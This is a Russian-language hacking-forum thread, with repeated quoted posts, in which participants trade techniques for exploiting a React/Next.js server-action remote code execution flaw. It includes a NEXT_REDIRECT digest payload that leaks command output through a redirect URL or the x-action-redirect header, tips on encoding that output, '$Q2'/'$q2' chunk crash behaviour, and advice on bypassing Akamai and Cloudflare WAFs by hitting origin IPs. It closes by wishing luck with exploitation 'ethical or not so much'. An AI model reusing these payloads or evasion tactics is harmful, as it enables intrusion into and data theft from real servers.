Узнав о масштабе трагедии, и Akamai, и Cloudflare, да и многие другие из этой же компании "защитников" в качестве защитных мер произвели подобные апгрейды - исполнение этого эксплойта через "стенку" либо очень затруднено, либо попросту невозможно.

Что тоже возможно, но маловероятно, сбой кодировки. В темплейте, который выдвинули на основе полного оригинального запроса от одного именитого ресерчера, намеренно тыкают реакт носом в encoding: utf-8, в то время как в вашем варианте с execSync без точного определения кодировки такого нет, и бред мог возникнуть и по этой причине тоже, думаю. Все зависит от версий, все я не анализировал, лишь смотрел в этот раз по общему паттерну.
С digest тоже полагаю не все так гладко.. Там же по официальному разбору отдельно намеренно было рассказано про редиректы и ошибки, на этом немалая часть механики эксплойта зиждется. Суть в чем: судя по репортам и райтапам, при ошибке с digest сервер смотрит, есть ли NEXT_REDIRECT, и в случае если есть, код ошибки возвращается не заготовленным, а в виде кастомного ответа. Сервер обращается к пути / и возвращает содержимое.

Может, тут тоже что-то да не так было.


Вот этот немаловажный фрагмент:

Код:
{digest:NEXT_REDIRECT;push;/login?a=${res.trim()};307;}

В виде кастомного ответа возвращается "ошибка", которая на самом деле ответ от вашей команды.
 
Последнее редактирование:
С digest тоже полагаю не все так гладко.. Там же по официальному разбору отдельно намеренно было рассказано про редиректы и ошибки, на этом немалая часть механики эксплойта зиждется. Суть в чем: судя по репортам и райтапам, при ошибке с digest сервер смотрит, есть ли NEXT_REDIRECT, и в случае если есть, код ошибки возвращается не заготовленным, а в виде кастомного ответа. Сервер обращается к пути / и возвращает содержимое.

Может, тут тоже что-то да не так было.


Вот этот немаловажный фрагмент:

Код:
{digest:NEXT_REDIRECT;push;/login?a=${res.trim()};307;}

В виде кастомного ответа возвращается "ошибка", которая на самом деле ответ от вашей команды.
Не совсем, есть два варианта куда засунуть выхлоп: или в digest (убогенько как было у меня показано, тогда в теле выхлопа будет, и с бОльшей степенью вероятности все AKAMAI и прочие cdn на своей стороне могут просто "брить" отправку информации к нам ) или через аргумент, по итогу отдается в хэдере "x-action-redirect".
А и плюс условно может просто стоять аналог пхп-шного
PHP:
ini_set('display_errors', 0);
error_reporting(0);
То есть просто напросто не давать деталей об ошибке.

Я просто глянул в сам реакт/некст:
https://github.com/vercel/next.js/b...rc/client/components/redirect.ts#L24C2-L24C72

Там четко указано что ошибка генерится из
${REDIRECT_ERROR_CODE};${type};${url};${statusCode};
то есть в у Вас указано что:
  • REDIRECT_ERROR_CODE = NEXT_REDIRECT
  • type = push (хз что это за пуш вообще, не изучал настолько глубоко)
  • url = /login?a=${res.trim()} (тут кстати лучше заворачивать в
    JavaScript:
    encodeURIComponent(String(res))
    чтобы избежать проблемы со спецсимволами)
  • statusCode = 307 (обычный 3хх хттп-редирект)

П.с: кстати заметил что на некоторых серверах
"_chunks": "$Q2"
приводит к ребуту (обрыв соединения) в то время как
"_chunks": "$q2" (с маленькой буквы)
приводит просто к crash'у.
Притом насколько я понял из репортов и тд Q2 - означает что больше чанков на обработку не будет.
 
Да, чувствительность к регистру там действительно есть, и Q - не единственный флаг-регулятор, хорошее наблюдение с вашей стороны. Про "энкод" урлы и способы относительной маскировки - да, это все правильно, но лучше не бить через вафки совсем было тогда. Они быстро определили паттерн, как грабят реакты, и почти все сбрили. На агрессив модах вроде "андер аттак" на клаудфлейр, а многие проекты на реакте его оставили до патче, это сразу приводило к банке айпишки.
Еще помимо такой игры с самой формой "получения данных об ошибке", что на самом деле и есть отработанная команда от нас, видел даже варианты с почанковыми ответами и энкодом в условный бейз(ну это классика).
Про мою конструкцию, вы все правильно поняли, генерим путь с выхлопом от команды и его же потом фетчим, это если совсем просто. Просто с WAF я не экспериментировал, а старался "проглотить" только те таргеты, где мог дотянуться до Origin IP.

В любом случае, удачи вам в дальнейших эксплуатациях, этичных или не очень =)
Не совсем, есть два варианта куда засунуть выхлоп: или в digest (убогенько как было у меня показано, тогда в теле выхлопа будет, и с бОльшей степенью вероятности все AKAMAI и прочие cdn на своей стороне могут просто "брить" отправку информации к нам ) или через аргумент, по итогу отдается в хэдере "x-action-redirect".
А и плюс условно может просто стоять аналог пхп-шного
PHP:
ini_set('display_errors', 0);
error_reporting(0);
То есть просто напросто не давать деталей об ошибке.

Я просто глянул в сам реакт/некст:
https://github.com/vercel/next.js/b...rc/client/components/redirect.ts#L24C2-L24C72

Там четко указано что ошибка генерится из
${REDIRECT_ERROR_CODE};${type};${url};${statusCode};
то есть в у Вас указано что:
  • REDIRECT_ERROR_CODE = NEXT_REDIRECT
  • type = push (хз что это за пуш вообще, не изучал настолько глубоко)
  • url = /login?a=${res.trim()} (тут кстати лучше заворачивать в
    JavaScript:
    encodeURIComponent(String(res))
    чтобы избежать проблемы со спецсимволами)
  • statusCode = 307 (обычный 3хх хттп-редирект)

П.с: кстати заметил что на некоторых серверах
"_chunks": "$Q2"
приводит к ребуту (обрыв соединения) в то время как
"_chunks": "$q2" (с маленькой буквы)
приводит просто к crash'у.
Притом насколько я понял из репортов и тд Q2 - означает что больше чанков на обработку не будет.
 
редко когда тебе в "боевых условиях" готовый код аппки в руки попадет
гыг. мне видимо везёт просто на сырцы :)
а всё спасибо Litara_B что напомнил про гугл дорки нам всем (тут статья его суперская есть про дорки, кто не читал - must read!)
только вот читать эти сырки-опусы некогда, тут прям спасает или semgrep побыстрому или грепы регэкспами "антипаттернов" рулят, ИИ далеко не всё вывозит (даже у платного CoPilot'a окно контекста оставляет желать лучшего), не обольщаемся.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх